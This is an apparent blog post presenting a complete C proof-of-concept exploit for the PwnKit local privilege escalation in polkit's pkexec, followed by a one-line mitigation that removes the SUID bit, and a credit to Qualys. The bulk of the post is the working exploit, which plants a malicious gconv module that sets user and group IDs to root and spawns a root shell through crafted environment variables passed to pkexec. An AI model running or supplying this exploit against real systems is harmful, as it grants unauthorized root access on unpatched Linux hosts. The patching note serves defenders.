This post walks through the PoC and manual patching of the local privilege escalation vulnerability discovered in polkit’s pkexec, dubbed as PwnKit.
Contents
Exploit confirmed on fully patched Ubuntu 21.10:
PoC Code:
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/* Compile: gcc polkit_PoC.c -o PwnKit
* Change perms: chmod +x ./PwnKit
* Profit: ./PwnKit
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
Manual Patching:
Remove SGID from /usr/bin/pkexec
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cd /usr/bin && sudo chmod 0755 ./pkexec
Credits:
This vulnerability was discovered by the Qualys Research Team.